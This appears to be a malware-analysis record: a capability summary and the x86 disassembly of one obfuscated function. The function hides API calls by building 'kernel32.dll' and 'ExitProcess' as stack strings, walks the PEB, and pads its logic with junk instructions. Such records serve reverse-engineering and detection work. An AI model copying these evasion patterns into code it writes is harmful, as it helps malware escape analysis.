Function at 0x410978
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3f0], eax
push eax
add eax, 0x2b14
and eax, 0x128d
add eax, 0x100f2
jmp 0x41004d
pop eax
push eax
sub eax, 0x12d3b
call 0x410062
add byte [esi + eax*2], bh
xor al, 0x46
xor al, byte [ecx + 0x48]
add esp, 4
pop eax
mov ecx, dword [ebp - 0x2098]
mov dword [ebp - 0x15c0], ecx
push eax
push esi
add esp, 4
sub eax, 0x16f2c
sub eax, 0x11d70
and eax, 0x2cd
call 0x410098
add byte [ebx + eax*2], bh
aas
dec ecx
inc edx
xor al, 0x46
dec eax
xor al, 0x83
les eax, [eax + ebx*2]
push ecx
and ecx, 0xfc20
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0xfe
imul eax, dword [ebp - 0x10], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x10], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x15c0], edx
mov edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x1ffc], edx
mov eax, dword [ebp - 0x1ffc]
add eax, dword [ebp - 0x15c0]
mov dword [ebp - 0x3f0], eax
push edx
push eax
add esp, 4
add edx, 0x15243
sub edx, 0x108f5
jmp 0x410105
pop edx
push eax
add eax, 0x112e7
jmp 0x410112
or eax, 0x9ec0
jmp 0x41011d
pop eax
mov byte [ebp - 0xbec], 0x52
mov byte [ebp - 0xbeb], 0xb9
mov byte [ebp - 0xbea], 0x10
mov byte [ebp - 0xbe9], 0x10
mov byte [ebp - 0xbe8], 0x10
mov byte [ebp - 0xbe7], 0x10
mov byte [ebp - 0xbe6], 0x5a
push ecx
call 0x41015f
add byte [ebx + 0x45], al
cmp dword [esi + 0x3a], eax
inc eax
dec ecx
dec eax
cmp al, byte [ebx - 0x367efb3c]
or al, 0x16
add dword [eax], eax
pop ecx
push esi
push ecx
add esp, 4
xor esi, 0x8bd0
and esi, 0x906a
and esi, 0x4538
pop esi
mov byte [ebp - 0xbe4], 0x52
mov byte [ebp - 0xbe3], 0xb9
mov byte [ebp - 0xbe2], 0x20
mov byte [ebp - 0xbe1], 0x20
mov byte [ebp - 0xbe0], 0x20
mov byte [ebp - 0xbdf], 0x20
mov byte [ebp - 0xbde], 0x5a
push eax
or eax, 0x6864
or eax, 0x181a9
add eax, 0xdd12
call 0x4101d4
add byte [eax + edi], dh
push eax
inc eax
inc esp
dec eax
inc eax
inc ebp
add esp, 4
pop eax
push edx
push edi
add esp, 4
add edx, 0x1104b
pop edx
mov dword [ebp - 0x209c], 0xe
push eax
add eax, 0x5a33
add eax, 0x7cb0
or eax, 0xa561
pop eax
push eax
push ecx
add esp, 4
add eax, 0x33da
add eax, 0x112c0
and eax, 0x17295
xor eax, 0x6058
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbec]
mov dword [ebp - 0x15c4], eax
push edi
push ecx
add esp, 4
sub edi, 0xb82e
pop edi
push esi
push ecx
add esp, 4
call 0x410252
add byte [ebx + 0x4b], cl
dec edi
dec ebp
inc ebx
add esp, 4
xor esi, 0x14e35
pop esi
push ebx
push edx
add esp, 4
jmp 0x410266
pop ebx
mov dword [ebp - 0x20a0], 0xffffffff
push ecx
push eax
add esp, 4
or ecx, 0xb3c9
jmp 0x410282
jmp 0x41028a
and ecx, 0x91eb
pop ecx
push ecx
push ecx
add esp, 4
and ecx, 0x8256
or ecx, 0x16cd8
pop ecx
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x4fc], ecx
jmp 0x4102c0
mov edx, dword [ebp - 0x4fc]
add edx, 1
mov dword [ebp - 0x4fc], edx
push ebx
push ecx
add esp, 4
add ebx, 0x589f
jmp 0x4102d1
xor ebx, 0xc0fd
pop ebx
push edx
or edx, 0x10793
sub edx, 0xb88
add edx, 0x17d85
or edx, 0x146b4
pop edx
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x41033a
push edi
or edi, 0x735
sub edi, 0x3020
sub edi, 0xa4b9
sub edi, 0x10207
pop edi
push edi
sub edi, 0x4dc9
call 0x410331
add byte [0x4e404744], bh
dec ebx
inc ebx
add esp, 4
pop edi
jmp 0x410568
mov dword [ebp - 0xc80], 7
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xac4], ecx
push esi
push edi
add esp, 4
sub esi, 0x15198
call 0x410369
add byte [edi + 0x36], cl
dec edx
dec ecx
dec ebx
xor cl, byte [ebx + 0x4e]
add esp, 4
xor esi, 0xbbd3
jmp 0x410379
pop esi
push ebx
jmp 0x410381
pop ebx
mov edx, dword [ebp - 0x15c4]
mov dword [ebp - 0xa60], edx
mov dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x15c4]
jne 0x4103e9
push edx
xor edx, 0xf178
or edx, 0x17112
add edx, 0x62c5
add edx, 0xc4bd
pop edx
push ebx
push edi
add esp, 4
or ebx, 0x14830
pop ebx
push ecx
push eax
add esp, 4
sub ecx, 0x30c5
pop ecx
mov ecx, dword [ebp - 0xc84]
mov dword [ebp - 0x15cc], ecx
jmp 0x41051a
cmp dword [ebp - 0xc80], 0
jle 0x41050e
push edx
push ebx
add esp, 4
or edx, 0x1f6b
or edx, 0x153d7
pop edx
push ebx
call 0x410418
add byte [esi], dh
inc esp
xor eax, dword [eax + 0x3c]
dec esi
cmp edi, dword [edx]
aaa
add esp, 4
sub ebx, 0x12e71
sub ebx, 0xa1d6
pop ebx
mov edx, dword [ebp - 0xac4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa60]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4104aa
push eax
push ecx
add esp, 4
xor eax, 0xd935
pop eax
push ebx
push eax
add esp, 4
add ebx, 0x54cd
xor ebx, 0xd2dc
xor ebx, 0x1066c
pop ebx
push edi
sub edi, 0x7171
and edi, 0x1516a
pop edi
mov eax, dword [ebp - 0xac4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x410492
mov dword [ebp - 0x15c8], 1
jmp 0x41049c
mov dword [ebp - 0x15c8], 0xffffffff
mov ecx, dword [ebp - 0x15c8]
mov dword [ebp - 0xc84], ecx
jmp 0x41050e
push ecx
add ecx, 0x17446
sub ecx, 0x1329
xor ecx, 0x110d3
pop ecx
push edi
push ebx
add esp, 4
xor edi, 0xd062
add edi, 0x78ad
sub edi, 0xc02c
add edi, 0xc984
pop edi
mov edx, dword [ebp - 0xc80]
sub edx, 1
mov dword [ebp - 0xc80], edx
mov eax, dword [ebp - 0xac4]
add eax, 1
mov dword [ebp - 0xac4], eax
mov ecx, dword [ebp - 0xa60]
add ecx, 1
mov dword [ebp - 0xa60], ecx
jmp 0x4103e9
mov edx, dword [ebp - 0xc84]
mov dword [ebp - 0x15cc], edx
cmp dword [ebp - 0x15cc], 0
jne 0x410563
push ebx
push ebx
add esp, 4
sub ebx, 0xce0b
and ebx, 0x170d7
add ebx, 0xfdb0
call 0x410549
add byte [esi + 0x47], al
dec ebp
xor edi, dword [eax]
inc ebx
dec ebx
xor edx, dword [eax - 0x7d]
les eax, [ebx + ebx*2]
push edi
sub edi, 0x30df
pop edi
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x3e8], eax
jmp 0x4105a4
jmp 0x4102b1
push eax
push ebx
add esp, 4
or eax, 0xf8ab
pop eax
push edx
push eax
add esp, 4
add edx, 0x64d8
pop edx
push ecx
add ecx, 0x18568
sub ecx, 0x6190
xor ecx, 0x6360
and ecx, 0x4422
pop ecx
mov dword [ebp - 0x3e8], 0
push esi
push ecx
add esp, 4
xor esi, 0x9ec0
or esi, 0x1558b
pop esi
push eax
sub eax, 0xd764
pop eax
push edi
push ecx
add esp, 4
and edi, 0xa4ec
or edi, 0x7512
add edi, 0x6af8
pop edi
push esi
add esi, 0x16ba4
call 0x4105ed
add byte [ebp + 0x49], al
cmp al, 0x44
dec esi
aas
inc eax
xor cl, byte [edx + 0x38]
add esp, 4
pop esi
push esi
and esi, 0x665f
jmp 0x4105ff
pop esi
push ebx
add ebx, 0x11f7b
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe4]
mov dword [ebp - 0x15d0], eax
push esi
push edi
add esp, 4
xor esi, 0x155a6
or esi, 0xf3f
sub esi, 0xf661
pop esi
push edi
and edi, 0x70bc
add edi, 0x1166d
add edi, 0xd6b1
or edi, 0x117fb
pop edi
mov dword [ebp - 0x20a4], 0xffffffff
push edx
sub edx, 0x96a3
jmp 0x410669
sub edx, 0x1760b
pop edx
push eax
push esi
add esp, 4
xor eax, 0x195b
xor eax, 0x744e
jmp 0x41068a
pop eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x4106a8
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push eax
call 0x4106b6
add byte [eax + 0x4e], al
dec eax
dec esi
xor edi, dword [eax]
dec ecx
add esp, 4
xor eax, 0xd926
pop eax
push edx
push edi
add esp, 4
or edx, 0x1599e
pop edx
push ecx
add ecx, 0x5101
or ecx, 0x15ff5
pop ecx
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x410722
push edi
push edi
add esp, 4
and edi, 0xf972
pop edi
push ecx
add ecx, 0x30c
and ecx, 0x178d
or ecx, 0xcc06
and ecx, 0x9a7e
pop ecx
push esi
push ecx
add esp, 4
and esi, 0x1d9f
pop esi
jmp 0x410950
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xac0], ecx
push edi
push edi
add esp, 4
and edi, 0x64e8
jmp 0x41074b
pop edi
push esi
push edi
add esp, 4
and esi, 0xb3de
and esi, 0x4504
and esi, 0x1be0
add esi, 0x1259
pop esi
mov edx, dword [ebp - 0x15d0]
mov dword [ebp - 0xabc], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15d0]
jne 0x4107d1
push edx
sub edx, 0x12b9
sub edx, 0x17390
pop edx
push eax
push eax
add esp, 4
and eax, 0x13075
add eax, 0xa30b
pop eax
push eax
push eax
add esp, 4
sub eax, 0x10e1a
add dword [eax], eax
and eax, 0x10a39
pop eax
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], ecx
jmp 0x410902
je 0x4107b7
invalid
cmp dword [ebp - 0xc88], 0
jle 0x4108f6
push ebx
push edi
add esp, 4
call 0x4107ef
add byte [esi + esi + 0x49], cl
dec ecx
cmp ecx, dword [ebp - 0x7d]
les eax, [ecx + eax*4]
jmp 0x4107c2
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x41094b
push ecx
and ecx, 0x17442
or ecx, 0x39bc
pop ecx
push ecx
or ecx, 0x48b
sub ecx, 0x11153
pop ecx
push esi
jmp 0x410930
pop esi
push edx
push ecx
add esp, 4
sub edx, 0x1027f
pop edx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab8], eax
jmp 0x41098c
jmp 0x410699
push edi
push edx
add esp, 4
and edi, 0x11c87
add edi, 0x4d59
pop edi
push esi
xor esi, 0x159b8
pop esi
push ebx
call 0x410978
add byte [esi], dh
dec esi
xor eax, 0x493b343b
add esp, 4
or ebx, 0x2645
pop ebx
mov dword [ebp - 0xab8], 0
push ecx
or ecx, 0xba74
pop ecx
push edx
push edi
add esp, 4
or edx, 0xee7f
pop edx
push edx
jmp 0x4109a8
jmp 0x4109b1
pop edx
push ebx
push ebx
add esp, 4
and ebx, 0x166fa
pop ebx
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push edi
add edi, 0x540b
pop edi
push ecx
push eax
add esp, 4
or ecx, 0x8f36
or ecx, 0xd217
xor ecx, 0x11f44
add byte [ecx + 0xa580e9], al
add byte [ecx + 0x56], bl
push edi
add esp, 4
or esi, 0x13407
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1738], cx
mov edx, 0x65
mov word [ebp - 0x1736], dx
mov eax, 0x72
mov word [ebp - 0x1734], ax
mov ecx, 0x6e
mov word [ebp - 0x1732], cx
mov edx, 0x65
mov word [ebp - 0x1730], dx
mov eax, 0x6c
mov word [ebp - 0x172e], ax
mov ecx, 0x33
mov word [ebp - 0x172c], cx
mov edx, 0x32
mov word [ebp - 0x172a], dx
mov eax, 0x2e
mov word [ebp - 0x1728], ax
mov ecx, 0x64
mov word [ebp - 0x1726], cx
mov edx, 0x6c
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
xor ecx, ecx
mov word [ebp - 0x1720], cx
push eax
push edx
add esp, 4
add eax, 0x15e14
call 0x410af7
add byte [eax + eax*2], bh
inc edi
dec esp
xor eax, dword [ecx + 0x48]
xor eax, 0x4c4834d
xor eax, 0xd7e4
and eax, 0x8f04
pop eax
push eax
and eax, 0x4cf0
pop eax
push esi
push ebx
add esp, 4
or esi, 0x10178
call 0x410b27
add byte [ebp + 0x3f], cl
cmp edi, dword [ebx]
push eax
inc ecx
dec esp
add esp, 4
call 0x410b37
add byte [eax*2 + 0x3e324744], bh
inc esi
add esp, 4
add esi, 0x175f6
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1954], edx
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1958], ecx
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x15d8], edx
push esi
add esi, 0x4317
call 0x410b7c
add byte [esi + 0x4e], cl
dec ecx
inc ecx
dec ebp
inc ebx
add esp, 4
pop esi
push ecx
push edi
add esp, 4
add ecx, 0xbe1
sub ecx, 0x15de6
jmp 0x410b9a
pop ecx
cmp dword [ebp - 0x15d8], 0
jne 0x410bb3
mov dword [ebp - 0x31c], 0
jmp 0x410e6f
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push ecx
push ecx
add esp, 4
xor ecx, 0x14183
add ecx, 0x156f8
and ecx, 0x14c25
add ecx, 0x924b
pop ecx
push edx
add edx, 0x15da8
xor edx, 0x1dfa
xor edx, 0x3050
pop edx
cmp dword [ebp - 0xc98], 0
jne 0x410c0f
mov dword [ebp - 0x31c], 0
jmp 0x410e6f
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax